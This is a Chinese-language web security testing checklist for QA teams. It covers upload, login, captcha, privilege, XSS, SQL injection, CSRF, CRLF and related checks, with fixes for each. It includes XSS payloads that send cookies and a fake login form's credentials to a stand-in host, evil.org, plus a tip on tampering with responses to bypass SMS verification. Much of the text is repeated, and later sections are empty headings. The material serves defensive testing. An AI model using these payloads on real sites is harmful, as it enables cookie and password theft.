一、大類檢查點：
大類
細項
上傳功能
繞過檔案上傳檢查功能
上傳檔案大小和次數限制
註冊功能
註冊請求是否安全傳輸
註冊時密碼複雜度是否後臺檢驗
啟用連結測試
重複註冊
批次註冊問題
登入功能
登入請求是否安全傳輸
會話固定
關鍵Cookie是否HttpOnly
登入請求錯誤次數限制
“記住我”功能
本地儲存敏感資訊
驗證碼功能
驗證碼的一次性
驗證碼繞過
簡訊驗證碼轟炸
忘記密碼功能
透過手機號找回
透過郵箱找回
密碼安全性要求
密碼複雜度要求
密碼儲存要求
橫向越權測試
請測試所有介面越權情況
縱向越權測試
XSS測試
反射型XSS
儲存型XSS
DOM型XSS
SQL注入測試
寫介面限制測試
CSRF測試
敏感資訊洩露
SVN資訊洩露
頁面洩露敏感資訊
目錄遍歷
CRLF測試
任意檔案讀取
URL重定向測試
XXE
XXE測試
SSRF
CORS問題
二、測試項詳細說明
註冊時密碼複雜度是否後臺校驗
會話固定：Session fixation attack(會話固定攻擊)是利用伺服器的session不變機制，借他人之手獲得認證和授權，然後冒充他人。
關鍵cookie是否HTTPONLY：如果Cookie設定了HttpOnly標誌，可以在發生XSS時避免JavaScript讀取Cookie。
但很多Cookie需要給前端JS使用。所以這裡只需要關注關鍵Cookie,即唯一標識使用者及登入狀態的會話標識需要新增這個屬性。
“記住我”功能：勾選“記住我”後，Cookie中記錄了使用者名稱和密碼資訊。。。
簡訊驗證碼轟炸：如果這個介面沒有限制策略，就會被人惡意利用
透過手機號找回：不過由於程式設計不合理，導致可以繞過簡訊驗證碼，從而修改別人的密碼。（使用burpsuite抓包，修改響應值true）
不同使用者之間session共享，可以非法操作對方的資料。
很多應用簡單的透過前端判斷，或者低許可權角色看不到對應的選單，但並未在後臺去做當前登入使用者是否有許可權。
跨站指令碼攻擊(Cross Site Scripting)：惡意攻擊者往Web頁面裡插入惡意Script程式碼，當用戶瀏覽該頁之時，嵌入其中Web裡面的Script程式碼會被執行，從而達到惡意攻擊使用者的目的。
反射型XSS：
利用請求引數param2，進行XSS注入，設定js等可執行或可跳轉語句。param2=<script>document.write("<imgsrc="http://evil.org?grabcookie.jsp?cookie="+encodeURI(document.cookie)+""/>")</script>。
處理意見：對特殊字元轉義輸出，特別是""<>這幾個。
儲存型XSS：
在論壇上發表帖子，假設論壇有漏洞，可以在帖子中注入下面的JS內容：
<script>
document.body.innerHTML="<h1>PleaseLogin</h1><form
action=http://evil.org/grabpassword.jspmethod=post><br>User name:<input type=text
name=user><br>Password:<inputtype=text name=password></p><input type=submit
name=login></form>
</script>
當其他使用者瀏覽該帖子時，就會彈出登入框，如圖（使用者名稱+密碼登陸介面）。
這是頁面中注入的XSS生成的，如果您輸入了賬號密碼，那就被髮送給駭客了。
處理意見：對特殊字元轉義輸出，特別是如下幾個""<>
基於DOM型XSS樣例，相比較與Reflected、Stored XSS屬於server side execution issues而言，DOM based XSS 是client(browser)side execution issue。
Step1：如下面請求的hash部分，由客戶端JS動態執行產生XSS注入。
http://www.webapp.com/example.jsp?param1=value1#\u003ciframeonload=alert("xss")\u003e
Step2：動態生成：<divid="m"><iframeonload="alert("xss")"></iframe></div>
這個比較難測試，一般需要閱讀頁面中的JS程式碼，去分析。沒有固定的測試步驟，還是需要大家自己多學習。不作為強制項，WebInspect掃過即可。
處理意見：對特殊字元轉義輸出，特別是""<>。
SQL注入攻擊的基本原理是透過構建特殊的輸入引數，迫使後臺資料庫執行額外的SQL語句，從而達到獲取資料庫資料的目的。
這些輸入引數往往包含惡意的SQL注入語句，後臺處理程式沒有對這些引數進行過濾，且所使用的資料庫查詢手段為拼接方式，進而導致敏感資料外洩。
在動態構造SQL語句的過程中，除了特殊字元處理不當引起的SQL注入之外，錯誤處理不當也會為Web站點帶來很多安全隱患。
最常見的問題就是將詳細的內部錯誤資訊顯示給攻擊者。這些細節會為攻擊者提供與網站潛在缺陷相關的重要線索。
在SQL注入的過程中，如果Web伺服器關閉了錯誤回顯，那麼是不是就安全了呢？答案顯然是否定的，攻擊者仍然可以透過 "盲注"技巧測試SQL命令是否注入成功。
所謂"盲注"就是在伺服器沒有錯誤回顯時完成的注入方式，攻擊者必須找到一個方法來驗證注入的SQL語句是否執行。
"盲注"主要分為兩種型別：基於時間的盲注和布林盲注。
測試方法（黑盒）：sqlmap是一個自動化的SQL注入工具，其主要功能是掃描，發現並利用給定的URL的SQL注入漏洞，
測試方法（白盒）：如果專案的資料庫持久層框架是mybatis，並且他的sqlmap中編寫方式都是使用#{xxx}方式，而非使用${xxx}方式，就不存在SQl注入問題。
注：sqlMap中儘量不要使用$;$使用的是Statement（拼接字串），會出現注入問題。#使用的是PreparedStatement（類似於預編譯），將轉義交給了資料庫，不會出現注入問題；前者容易出現SQL注入之類的安全問題，所以mybatis推薦使用#。
比如：找回密碼的郵件。多次呼叫，造成郵件轟炸。
新增的介面，如寫文章、上傳檔案等。這些介面如果沒有任何限制，那麼惡意使用者使用程式無限迴圈的呼叫介面，就會寫入大量的資料。透過併發、迴圈方式上傳大量檔案，填滿磁碟，消耗伺服器資源。
修復建議：對寫入量大的介面（如上傳）做必要的限制。
CSRF（Cross-site requestforgery），中文名稱：跨站請求偽造。使用者C在為退出A的情況下，瀏覽B，B使用C的session非法訪問A。
檢查：
Ø 是否有防禦CSRF的隨機數。驗證碼、csrf_token等都是。 有則 （透過）
Ø 是否驗證referer。有則（透過）
Ø 請求的引數均可推測，無CSRF防禦機制。（不透過）
測試中，需要對所有寫介面檢查，可以採用如下方式，記錄介面，標記是否已檢查。
修復建議：
Ø 方法1：驗證碼
驗證碼制使用者必須與應用進行互動，才能完成最終請求。因此在通常情況下，驗證碼能夠很好地遏制CSRF攻擊。
但是這種方式易用性方面似乎不是太好，並且對於簡單的圖形驗證碼也有很多繞過機制。防禦CSRF的一種輔助手段
Ø 方法2：Referer 驗證
當瀏覽器傳送一個HTTP請求時一般都會在Referer中表明發起請求的URL。
透過Referer我們可以透過判斷一個請求是否為同域下發起的來防禦CSRF，但是Referer可能會包含一些敏感資訊甚至在某些情況下能夠被偽造。
因此我們無法依賴於Referer來作為防禦CSRF的主要手段，但是可以透過Referer來監控CSRF攻擊的發生。
Ø 方法3：Token驗證
在請求原引數不變的條件下，新增了一個隨機的、不可預測引數Token是目前最普遍有效的方式。
後端在對資料處理前會首先對Token引數進行驗證，只有使用者請求中的Token與使用者Session（或Cookie）中的Token一致時，才會認為請求是合法的。
由於Token的存在，攻擊者就無法構造一個完整的請求實施CSRF攻擊，從而保證了網站或系統的安全。
SVN資訊洩露：有資料庫賬號和密碼等資訊；
頁面洩露敏感資訊：有些WEB應用，在返回給客戶端的響應中，包含了敏感資訊，例如密碼。
在web應用中，如下圖所示的顯示目錄檔案列表，會帶來一定的安全隱患（伺服器檔案列表）。
CRLF
CRLF就是HTTP響應頭拆分漏洞。是對使用者輸入的CR 和LF字元沒有進行嚴格的過濾導致的。
修復建議：過濾CR和LF字元。或者轉義。
URL重定向
一、大類檢查點：
大類
細項
上傳功能
繞過檔案上傳檢查功能
上傳檔案大小和次數限制
註冊功能
註冊請求是否安全傳輸
註冊時密碼複雜度是否後臺檢驗
啟用連結測試
重複註冊
批次註冊問題
登入功能
登入請求是否安全傳輸
會話固定
關鍵Cookie是否HttpOnly
登入請求錯誤次數限制
“記住我”功能
本地儲存敏感資訊
驗證碼功能
驗證碼的一次性
驗證碼繞過
簡訊驗證碼轟炸
忘記密碼功能
透過手機號找回
透過郵箱找回
密碼安全性要求
密碼複雜度要求
密碼儲存要求
橫向越權測試
請測試所有介面越權情況
縱向越權測試
請測試所有介面越權情況
XSS測試
反射型XSS
儲存型XSS
DOM型XSS
SQL注入測試
SQL注入測試
寫介面限制測試
寫介面限制測試
CSRF測試
CSRF測試
敏感資訊洩露
SVN資訊洩露
頁面洩露敏感資訊
目錄遍歷
目錄遍歷
CRLF測試
CRLF測試
任意檔案讀取
任意檔案讀取
URL重定向測試
URL重定向測試
XXE
XXE測試
SSRF
SSRF
CORS問題
CORS問題
二、測試項詳細說明
上傳功能
繞過檔案上傳檢查功能
上傳檔案大小和次數限制
註冊功能
註冊請求是否安全傳輸
註冊時密碼複雜度是否後臺校驗
啟用連結測試
重複註冊
批次註冊問題
登入功能
登入請求是否安全傳輸
會話固定：Session fixation attack(會話固定攻擊)是利用伺服器的session不變機制，借他人之手獲得認證和授權，然後冒充他人。
關鍵cookie是否HTTPONLY：如果Cookie設定了HttpOnly標誌，可以在發生XSS時避免JavaScript讀取Cookie。
但很多Cookie需要給前端JS使用。所以這裡只需要關注關鍵Cookie,即唯一標識使用者及登入狀態的會話標識需要新增這個屬性。
登入請求錯誤次數限制
“記住我”功能：勾選“記住我”後，Cookie中記錄了使用者名稱和密碼資訊。。。
本地儲存敏感資訊
驗證碼功能
驗證碼的一次性
驗證碼繞過
簡訊驗證碼轟炸：如果這個介面沒有限制策略，就會被人惡意利用
忘記密碼功能
透過手機號找回：不過由於程式設計不合理，導致可以繞過簡訊驗證碼，從而修改別人的密碼。（使用burpsuite抓包，修改響應值true）
透過郵箱找回
密碼安全性要求
密碼複雜度要求
密碼儲存要求
橫向越權測試
不同使用者之間session共享，可以非法操作對方的資料。
縱向越權測試
很多應用簡單的透過前端判斷，或者低許可權角色看不到對應的選單，但並未在後臺去做當前登入使用者是否有許可權。
XSS測試
跨站指令碼攻擊(Cross Site Scripting)：惡意攻擊者往Web頁面裡插入惡意Script程式碼，當用戶瀏覽該頁之時，嵌入其中Web裡面的Script程式碼會被執行，從而達到惡意攻擊使用者的目的。
反射型XSS：
利用請求引數param2，進行XSS注入，設定js等可執行或可跳轉語句。param2=<script>document.write("<imgsrc="http://evil.org?grabcookie.jsp?cookie="+encodeURI(document.cookie)+""/>")</script>。
處理意見：對特殊字元轉義輸出，特別是""<>這幾個。
儲存型XSS：
在論壇上發表帖子，假設論壇有漏洞，可以在帖子中注入下面的JS內容：
<script>
document.body.innerHTML="<h1>PleaseLogin</h1><form
action=http://evil.org/grabpassword.jspmethod=post><br>User name:<input type=text
name=user><br>Password:<inputtype=text name=password></p><input type=submit
name=login></form>
</script>
當其他使用者瀏覽該帖子時，就會彈出登入框，如圖（使用者名稱+密碼登陸介面）。
這是頁面中注入的XSS生成的，如果您輸入了賬號密碼，那就被髮送給駭客了。
處理意見：對特殊字元轉義輸出，特別是如下幾個""<>
DOM型XSS
基於DOM型XSS樣例，相比較與Reflected、Stored XSS屬於server side execution issues而言，DOM based XSS 是client(browser)side execution issue。
Step1：如下面請求的hash部分，由客戶端JS動態執行產生XSS注入。
http://www.webapp.com/example.jsp?param1=value1#\u003ciframeonload=alert("xss")\u003e
Step2：動態生成：<divid="m"><iframeonload="alert("xss")"></iframe></div>
這個比較難測試，一般需要閱讀頁面中的JS程式碼，去分析。沒有固定的測試步驟，還是需要大家自己多學習。不作為強制項，WebInspect掃過即可。
處理意見：對特殊字元轉義輸出，特別是""<>。
SQL注入測試
SQL注入攻擊的基本原理是透過構建特殊的輸入引數，迫使後臺資料庫執行額外的SQL語句，從而達到獲取資料庫資料的目的。
這些輸入引數往往包含惡意的SQL注入語句，後臺處理程式沒有對這些引數進行過濾，且所使用的資料庫查詢手段為拼接方式，進而導致敏感資料外洩。
在動態構造SQL語句的過程中，除了特殊字元處理不當引起的SQL注入之外，錯誤處理不當也會為Web站點帶來很多安全隱患。
最常見的問題就是將詳細的內部錯誤資訊顯示給攻擊者。這些細節會為攻擊者提供與網站潛在缺陷相關的重要線索。
在SQL注入的過程中，如果Web伺服器關閉了錯誤回顯，那麼是不是就安全了呢？答案顯然是否定的，攻擊者仍然可以透過 "盲注"技巧測試SQL命令是否注入成功。
所謂"盲注"就是在伺服器沒有錯誤回顯時完成的注入方式，攻擊者必須找到一個方法來驗證注入的SQL語句是否執行。
"盲注"主要分為兩種型別：基於時間的盲注和布林盲注。
測試方法（黑盒）：sqlmap是一個自動化的SQL注入工具，其主要功能是掃描，發現並利用給定的URL的SQL注入漏洞，
測試方法（白盒）：如果專案的資料庫持久層框架是mybatis，並且他的sqlmap中編寫方式都是使用#{xxx}方式，而非使用${xxx}方式，就不存在SQl注入問題。
注：sqlMap中儘量不要使用$;$使用的是Statement（拼接字串），會出現注入問題。#使用的是PreparedStatement（類似於預編譯），將轉義交給了資料庫，不會出現注入問題；前者容易出現SQL注入之類的安全問題，所以mybatis推薦使用#。
寫介面限制測試
比如：找回密碼的郵件。多次呼叫，造成郵件轟炸。
新增的介面，如寫文章、上傳檔案等。這些介面如果沒有任何限制，那麼惡意使用者使用程式無限迴圈的呼叫介面，就會寫入大量的資料。透過併發、迴圈方式上傳大量檔案，填滿磁碟，消耗伺服器資源。
修復建議：對寫入量大的介面（如上傳）做必要的限制。
CSRF測試
CSRF（Cross-site requestforgery），中文名稱：跨站請求偽造。使用者C在為退出A的情況下，瀏覽B，B使用C的session非法訪問A。
檢查：
Ø 是否有防禦CSRF的隨機數。驗證碼、csrf_token等都是。 有則 （透過）
Ø 是否驗證referer。有則（透過）
Ø 請求的引數均可推測，無CSRF防禦機制。（不透過）
測試中，需要對所有寫介面檢查，可以採用如下方式，記錄介面，標記是否已檢查。
修復建議：
Ø 方法1：驗證碼
驗證碼制使用者必須與應用進行互動，才能完成最終請求。因此在通常情況下，驗證碼能夠很好地遏制CSRF攻擊。
但是這種方式易用性方面似乎不是太好，並且對於簡單的圖形驗證碼也有很多繞過機制。防禦CSRF的一種輔助手段
Ø 方法2：Referer 驗證
當瀏覽器傳送一個HTTP請求時一般都會在Referer中表明發起請求的URL。
透過Referer我們可以透過判斷一個請求是否為同域下發起的來防禦CSRF，但是Referer可能會包含一些敏感資訊甚至在某些情況下能夠被偽造。
因此我們無法依賴於Referer來作為防禦CSRF的主要手段，但是可以透過Referer來監控CSRF攻擊的發生。
Ø 方法3：Token驗證
在請求原引數不變的條件下，新增了一個隨機的、不可預測引數Token是目前最普遍有效的方式。
後端在對資料處理前會首先對Token引數進行驗證，只有使用者請求中的Token與使用者Session（或Cookie）中的Token一致時，才會認為請求是合法的。
由於Token的存在，攻擊者就無法構造一個完整的請求實施CSRF攻擊，從而保證了網站或系統的安全。
敏感資訊洩露
SVN資訊洩露：有資料庫賬號和密碼等資訊；
頁面洩露敏感資訊：有些WEB應用，在返回給客戶端的響應中，包含了敏感資訊，例如密碼。
目錄遍歷
在web應用中，如下圖所示的顯示目錄檔案列表，會帶來一定的安全隱患（伺服器檔案列表）。
CRLF
CRLF就是HTTP響應頭拆分漏洞。是對使用者輸入的CR 和LF字元沒有進行嚴格的過濾導致的。
修復建議：過濾CR和LF字元。或者轉義。
任意檔案讀取
URL重定向
XXE
SSRF
CORS問題